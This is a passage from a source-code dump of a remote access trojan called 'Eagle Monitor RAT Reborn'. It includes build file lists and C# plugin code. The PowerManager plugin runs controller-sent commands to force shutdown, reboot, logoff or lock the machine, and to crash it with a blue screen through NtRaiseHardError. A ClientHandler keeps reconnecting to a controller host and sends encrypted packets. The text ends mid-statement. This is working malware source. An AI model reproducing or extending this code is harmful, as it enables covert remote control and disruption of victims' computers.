Reborn\Plugins\Offline\obj\Release\Offline.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CopyComplete C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.dll C:\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\Offline.dll C:\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\PacketLib.dll C:\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.dll D:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\Offline.dll D:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\PacketLib.dll D:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.AssemblyReference.cache D:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CoreCompileInputs.cache D:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CopyComplete D:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\Offline.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\PacketLib.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Interop.IWshRuntimeLibrary.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.ResolveComReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\Offline.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\PacketLib.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Interop.IWshRuntimeLibrary.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.ResolveComReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\bin\Release\Stubs\Offline.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Stubs\Offline.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Stubs\Offline.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Interop.IWshRuntimeLibrary.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.ResolveComReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Offline\obj\Release\Offline.dll ================================================ FILE: Remote Access Tool/Plugins/Offline/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/PowerManager/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/PowerManager/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/PowerManager/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class Imports { #region "ntdll" private const string ntdll = "ntdll.dll"; [Flags] internal enum NTSTATUS : uint { STATUS_SUCCESS, STATUS_INFO_LENGTH_MISMATCH = 0xC0000004, STATUS_UNKNOWN = 0xFFFFFFFF } internal enum RTL_PRIVILEGES : uint { SeCreateTokenPrivilege = 1, SeAssignPrimaryTokenPrivilege = 2, SeLockMemoryPrivilege = 3, SeIncreaseQuotaPrivilege = 4, SeUnsolicitedInputPrivilege = 5, SeMachineAccountPrivilege = 6, SeTcbPrivilege = 7, SeSecurityPrivilege = 8, SeTakeOwnershipPrivilege = 9, SeLoadDriverPrivilege = 10, SeSystemProfilePrivilege = 11, SeSystemtimePrivilege = 12, SeProfileSingleProcessPrivilege = 13, SeIncreaseBasePriorityPrivilege = 14, SeCreatePagefilePrivilege = 15, SeCreatePermanentPrivilege = 16, SeBackupPrivilege = 17, SeRestorePrivilege = 18, SeShutdownPrivilege = 19, SeDebugPrivilege = 20, SeAuditPrivilege = 21, SeSystemEnvironmentPrivilege = 22, SeChangeNotifyPrivilege = 23, SeRemoteShutdownPrivilege = 24, SeUndockPrivilege = 25, SeSyncAgentPrivilege = 26, SeEnableDelegationPrivilege = 27, SeManageVolumePrivilege = 28, SeImpersonatePrivilege = 29, SeCreateGlobalPrivilege = 30, SeTrustedCredManAccessPrivilege = 31, SeRelabelPrivilege = 32, SeIncreaseWorkingSetPrivilege = 33, SeTimeZonePrivilege = 34, SeCreateSymbolicLinkPrivilege = 35 } internal enum HARDERROR_RESPONSE_OPTION : uint { OptionAbortRetryIgnore = 0, OptionOk = 1, OptionOkCancel = 2, OptionRetryCancel = 3, OptionYesNo = 4, OptionYesNoCancel = 5, OptionShutdownSystem = 6 } internal enum HARDERROR_RESPONSE : uint { ResponseReturnToCaller = 0, ResponseNotHandled = 1, ResponseAbort = 2, ResponseCancel = 3, ResponseIgnore = 4, ResponseNo = 5, ResponseOk = 6, ResponseRetry = 7, ResponseYes = 8 } [DllImport(ntdll)] internal static extern NTSTATUS RtlAdjustPrivilege(RTL_PRIVILEGES privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue); [DllImport(ntdll)] internal static extern NTSTATUS NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, HARDERROR_RESPONSE_OPTION ValidResponseOption, out HARDERROR_RESPONSE Response); #endregion #region "user32" private const string user32 = "user32.dll"; //https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-exitwindowsex //https://docs.microsoft.com/en-us/windows/win32/shutdown/system-shutdown-reason-codes public enum EXIT_WINDOWS_FLAGS : uint { EWX_HYBRID_SHUTDOWN = 0x00400000, EWX_LOGOFF = 0x00000000, EWX_POWEROFF = 0x00000008, EWX_REBOOT = 0x00000002, EWX_RESTARTAPPS = 0x00000040, EWX_SHUTDOWN = 0x00000001, EWX_FORCE = 0x00000004, EWX_FORCEIFHUNG = 0x00000010 } public enum EXIT_WINDOWS_REASON : uint { SHTDN_REASON_MAJOR_APPLICATION = 0x00040000, SHTDN_REASON_MAJOR_HARDWARE = 0x00010000, SHTDN_REASON_MAJOR_LEGACY_API = 0x00070000, SHTDN_REASON_MAJOR_OPERATINGSYSTEM = 0x00020000, SHTDN_REASON_MAJOR_OTHER = 0x00000000, SHTDN_REASON_MAJOR_POWER = 0x00060000, SHTDN_REASON_MAJOR_SOFTWARE = 0x00030000, SHTDN_REASON_MAJOR_SYSTEM = 0x00050000, SHTDN_REASON_MINOR_BLUESCREEN = 0x0000000F, SHTDN_REASON_MINOR_CORDUNPLUGGED = 0x0000000b, SHTDN_REASON_MINOR_DISK = 0x00000007, SHTDN_REASON_MINOR_ENVIRONMENT = 0x0000000c, SHTDN_REASON_MINOR_HARDWARE_DRIVER = 0x0000000d, SHTDN_REASON_MINOR_HOTFIX = 0x00000011, SHTDN_REASON_MINOR_HOTFIX_UNINSTALL = 0x00000017, SHTDN_REASON_MINOR_HUNG = 0x00000005, SHTDN_REASON_MINOR_INSTALLATION = 0x00000002, SHTDN_REASON_MINOR_MAINTENANCE = 0x00000001, SHTDN_REASON_MINOR_MMC = 0x00000019, SHTDN_REASON_MINOR_NETWORK_CONNECTIVITY = 0x00000014, SHTDN_REASON_MINOR_NETWORKCARD = 0x00000009, SHTDN_REASON_MINOR_OTHER = 0x00000000, SHTDN_REASON_MINOR_OTHERDRIVER = 0x0000000e, SHTDN_REASON_MINOR_POWER_SUPPLY = 0x0000000a, SHTDN_REASON_MINOR_PROCESSOR = 0x00000008, SHTDN_REASON_MINOR_RECONFIG = 0x00000004, SHTDN_REASON_MINOR_SECURITY = 0x00000013, SHTDN_REASON_MINOR_SECURITYFIX = 0x00000012, SHTDN_REASON_MINOR_SECURITYFIX_UNINSTALL = 0x00000018, SHTDN_REASON_MINOR_SERVICEPACK = 0x00000010, SHTDN_REASON_MINOR_SERVICEPACK_UNINSTALL = 0x00000016, SHTDN_REASON_MINOR_TERMSRV = 0x00000020, SHTDN_REASON_MINOR_UNSTABLE = 0x00000006, SHTDN_REASON_MINOR_UPGRADE = 0x00000003, SHTDN_REASON_MINOR_WMI = 0x00000015, SHTDN_REASON_FLAG_USER_DEFINED = 0x40000000, SHTDN_REASON_FLAG_PLANNED = 0x80000000 } [DllImport(user32)] internal static extern bool ExitWindowsEx(EXIT_WINDOWS_FLAGS uFlags, EXIT_WINDOWS_REASON dwReason); [DllImport(user32)] internal static extern bool LockWorkStation(); #endregion #region "powrprof" private const string powrprof = "PowrProf.dll"; [DllImport(powrprof)] internal static extern bool SetSuspendState(bool bHibernate, bool bForce, bool bWakeupEventsDisabled); #endregion } } ================================================ FILE: Remote Access Tool/Plugins/PowerManager/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.POWER_SHUTDOWN: PowerManager.ShutDown(); break; case PacketType.POWER_REBOOT: PowerManager.Reboot(); break; case PacketType.POWER_LOG_OUT: PowerManager.LogOut(); break; case PacketType.POWER_BSOD: PowerManager.BSOD(); break; case PacketType.POWER_LOCK_WORKSTATION: PowerManager.LockWorkstation(); break; case PacketType.POWER_SUSPEND: PowerManager.Suspend(); break; case PacketType.POWER_HIBERNATE: PowerManager.Hibernate(); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/PowerManager/PowerManager.cs ================================================ using System; using static Plugin.Imports; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class PowerManager { private const uint errorCode = 0xC0000005; private static NTSTATUS seShutdownStatus { get; set; } static PowerManager() { bool t1 = false; seShutdownStatus = RtlAdjustPrivilege(RTL_PRIVILEGES.SeShutdownPrivilege, true, false, out t1); } internal static void ShutDown() { if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS) { ExitWindowsEx ( EXIT_WINDOWS_FLAGS.EWX_SHUTDOWN | EXIT_WINDOWS_FLAGS.EWX_FORCE, EXIT_WINDOWS_REASON.SHTDN_REASON_MAJOR_LEGACY_API ); } } internal static void Reboot() { if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS) { ExitWindowsEx ( EXIT_WINDOWS_FLAGS.EWX_REBOOT | EXIT_WINDOWS_FLAGS.EWX_FORCE, EXIT_WINDOWS_REASON.SHTDN_REASON_MAJOR_LEGACY_API ); } } internal static void LogOut() { if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS) { ExitWindowsEx ( EXIT_WINDOWS_FLAGS.EWX_LOGOFF | EXIT_WINDOWS_FLAGS.EWX_FORCE, EXIT_WINDOWS_REASON.SHTDN_REASON_MAJOR_LEGACY_API ); } } internal static void BSOD() { if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS) { HARDERROR_RESPONSE response = HARDERROR_RESPONSE.ResponseNotHandled; NtRaiseHardError(errorCode, 0, 0, IntPtr.Zero, HARDERROR_RESPONSE_OPTION.OptionShutdownSystem, out response); /*uint t2 = 0; NtRaiseHardError(errorCode, 0, 0, IntPtr.Zero, 6, out t2);*/ } } internal static void LockWorkstation() { LockWorkStation(); } internal static void Suspend() { if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS) { SetSuspendState(false, true, true); } } internal static void Hibernate() { if (seShutdownStatus == NTSTATUS.STATUS_SUCCESS) { SetSuspendState(true, true, true); } } } } ================================================ FILE: Remote Access Tool/Plugins/PowerManager/PowerManager.csproj ================================================  Debug AnyCPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9} Library Properties Plugin PowerManager v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/PowerManager/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("PowerManager")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("PowerManager")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("dcd28797-e01e-48f7-942c-6e01df1dd9e9")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Debug/PowerManager.csproj.CoreCompileInputs.cache ================================================ a4baae754877444d0cb37ee3614e7b96c7900bd0 ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Debug/PowerManager.csproj.FileListAbsolute.txt ================================================ E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Debug\PowerManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Debug\PowerManager.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\PowerManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Debug\PowerManager.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Debug\PowerManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\PowerManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Debug\PowerManager.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Debug\PowerManager.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Debug\PowerManager.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Debug\PowerManager.dll ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Debug/PowerManager.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.CoreCompileInputs.cache ================================================ 5e788d489c75857c6a9e32e0f8f160b99bfcd632 ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\PowerManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Release\PowerManager.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Release\PowerManager.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Release\PowerManager.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Release\PowerManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\PowerManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Release\PowerManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Release\PowerManager.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Release\PowerManager.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\PowerManager\obj\Release\PowerManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\PowerManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\PowerManager.dll C:\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\PowerManager.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\PowerManager.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\PowerManager.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\PowerManager\obj\Release\PowerManager.dll ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Release/PowerManager.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/PowerManager/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public ClientHandler(Host host, string key) : base() { this.host = host; this.key = key; sendDataAsync = new SendDataAsync(SendData); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (!Connected) { ConnectStart(); } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } catch (Exception) { Connected = false; return 0; } } } private void SendDataCompleted(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); if (Connected) { if (length != 0)//TODO : LOGS { //MessageBox.Show("Data sent ! + length = " + length.ToString()); } else { //MessageBox.Show("Error while sending data + length =" + length.ToString()); } } this.Dispose(); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/GetProcesses.cs ================================================ using PacketLib.Packet; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class GetProcesses { [StructLayout(LayoutKind.Sequential)] public struct SYSTEM_INFO { public ushort wProcessorArchitecture; public ushort wReserved; public uint dwPageSize; public IntPtr lpMinimumApplicationAddress; public IntPtr lpMaximumApplicationAddress; public UIntPtr dwActiveProcessorMask; public uint dwNumberOfProcessors; public uint dwProcessorType; public uint dwAllocationGranularity; public ushort wProcessorLevel; public ushort wProcessorRevision; }; [DllImport("kernel32.dll")] public static extern void GetNativeSystemInfo(ref SYSTEM_INFO lpSystemInfo); [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool IsWow64Process([In] IntPtr hProcess, [Out] out bool wow64Process); public const ushort PROCESSOR_ARCHITECTURE_INTEL = 0; public const ushort PROCESSOR_ARCHITECTURE_IA64 = 6; public const ushort PROCESSOR_ARCHITECTURE_AMD64 = 9; public const ushort PROCESSOR_ARCHITECTURE_UNKNOWN = 0xFFFF; private static bool InternalCheckIsWow64(IntPtr Handle) { if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) || Environment.OSVersion.Version.Major >= 6) { bool retVal; if (!IsWow64Process(Handle, out retVal)) { return false; } return retVal; } else { return false; } } internal static string CheckIf64Bit(IntPtr Handle) { if (InternalCheckIsWow64(Handle)) { return "32";//only true if process is 32-bit running on a 64-bit OS. } else { SYSTEM_INFO sys_info = new SYSTEM_INFO(); GetNativeSystemInfo(ref sys_info); switch (sys_info.wProcessorArchitecture) { case PROCESSOR_ARCHITECTURE_IA64: return "IA64"; case PROCESSOR_ARCHITECTURE_AMD64: return "64"; case PROCESSOR_ARCHITECTURE_INTEL: return "32"; default: return "Unknown"; } } } public static List GetAllProcesses() { List procs = new List (); foreach (Process p in Process.GetProcesses()) { Proc proc = new Proc(); MemoryStream stream = new MemoryStream(); try { Bitmap bitmap = System.Drawing.Icon.ExtractAssociatedIcon(p.MainModule.FileName).ToBitmap(); bitmap.Save(stream, 